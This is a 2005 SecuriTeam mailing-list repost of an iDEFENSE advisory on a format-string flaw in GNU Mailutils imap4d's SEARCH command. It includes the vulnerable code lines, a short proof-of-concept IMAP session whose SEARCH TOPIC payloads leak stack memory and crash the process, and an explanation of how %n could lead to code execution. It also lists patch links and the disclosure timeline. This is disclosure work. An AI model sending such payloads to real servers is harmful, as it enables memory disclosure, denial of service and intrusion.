From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 15 Sep 2005 12:22:42 +0200
Subject: [UNIX] GNU Mailutils imap4d 'search' Format String Vulnerability
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050915093515.12AEB5821@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
GNU Mailutils imap4d 'search' Format String Vulnerability
------------------------------------------------------------------------
SUMMARY
" <http://www.gnu.org/software/mailutils/mailutils.html>; GNU Mailutils is
a collection of mail-related utilities."
Lack of proper string validation allow attacker to execute arbitrary code
using format string attack in GNU Mailutils imap4d.
DETAILS
Vulnerable Systems:
* GNU Mailutils imap4d version 0.6
The imap4d server allows remote users to retrieve e-mail via the Internet
Message Access Protocol, Version 4rev1 as specified in
<ftp://ftp.rfc-editor.org/in-notes/rfc3501.txt>; RFC3501. This is a
client/server protocol supported by a large number of e-mail clients on
multiple platforms.
The vulnerability specifically exists in the handling of SEARCH commands
supplied by the remote user. If a search is made containing format
specifiers (such as %p or %s), these will be interpreted by the server,
and returned to the user.
Vulnerable Code:
search.c, lines 198-199:
rc = imap4d_search0 (arg, 0, buffer, sizeof buffer);
return util_finish (command, rc, buffer);
The vulnerability specifically occurs because the util_finish() function
expects a format specifier in the 3rd argument, followed by any arguments
to be formatted. Without a specifier, the function interprets the 3rd
argument as a format specifier.
Exploitation could allow authenticated remote attackers to execute
arbitrary commands on an affected system as the authenticated user. This
may allow access to systems not intended to have interactive users, which
could allow further compromise. Using format specifiers, it is possible to
construct a sequence of commands that cause arbitrary values to be written
to arbitrary locations, allowing arbitrary code execution.
Proof of Concept:
sh-2.05b$ netcat 192.168.0.1 143
* OK IMAP4rev1
1 LOGIN "user" "password"
1 OK LOGIN Completed
2 SELECT "inbox"
* 23 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1118516013] UID valididy status
* OK [UIDNEXT 24] Predicted next uid
* OK [UNSEEN 1] first unseen messsage
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS (\Answered \Deleted \Seen)] Permanent flags
2 OK [READ-WRITE] SELECT Completed
3 SEARCH TOPIC %08x.%08x.%08x.%08x
3 BAD SEARCH Unknown search criterion (near
00000040.6e6b6e55.206e776f.72616573)
4 SEARCH TOPIC %s%s%s
sh-2.05b$
The result of the 'SEARCH TOPIC %08x.%08x.%08x.%08x' command contains
values from the error string supplied to the output function. (6e6b6e55
converts to 'Unkn', 206e776f converts to 'own ' and 72616573 converts to
'sear'.) By referencing the values after the fixed string in the error
message, which are under control of the attacker, and using the '%n'
format specifier, controllable values can be written to arbitrary memory
locations, allowing execution of arbitrary code.
The '%s%s%s' format specifier attempts to treat the first 3 values
(0x00000040, 0x6e6b6e55 and 0x206e776f) as strings, and causes an access
violation error, terminating the server connection, dropping the user back
into their shell. The main server is still active, as the server forks a
new copy for each connection. This allows multiple exploitation attempts.
Vendor Status:
The vendor has release a patch available at:
<http://savannah.gnu.org/patch/download.php?item_id=4407&item_file_id=5160>; http://savannah.gnu.org/patch/download.php?item_id=4407&item_file_id=5160
Disclosure Timeline:
09/08/2005 - Initial vendor notification
09/09/2005 - Initial vendor response
09/09/2005 - Coordinated public disclosure
ADDITIONAL INFORMATION
The information has been provided by
<mailto:idlabs-advisories@lists.idefense.com.> iDEFENSE Labs Security
Advisories .
The original article can be found at:
<http://www.idefense.com/application/poi/display?id=303&type=vulnerabilities&flashstatus=true>; http://www.idefense.com/application/poi/display?id=303&type=vulnerabilities&flashstatus=true
The vendor advisory can be found at:
<http://savannah.gnu.org/patch/index.php?func=detailitem&item_id=4407>;
http://savannah.gnu.org/patch/index.php?func=detailitem&item_id=4407
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
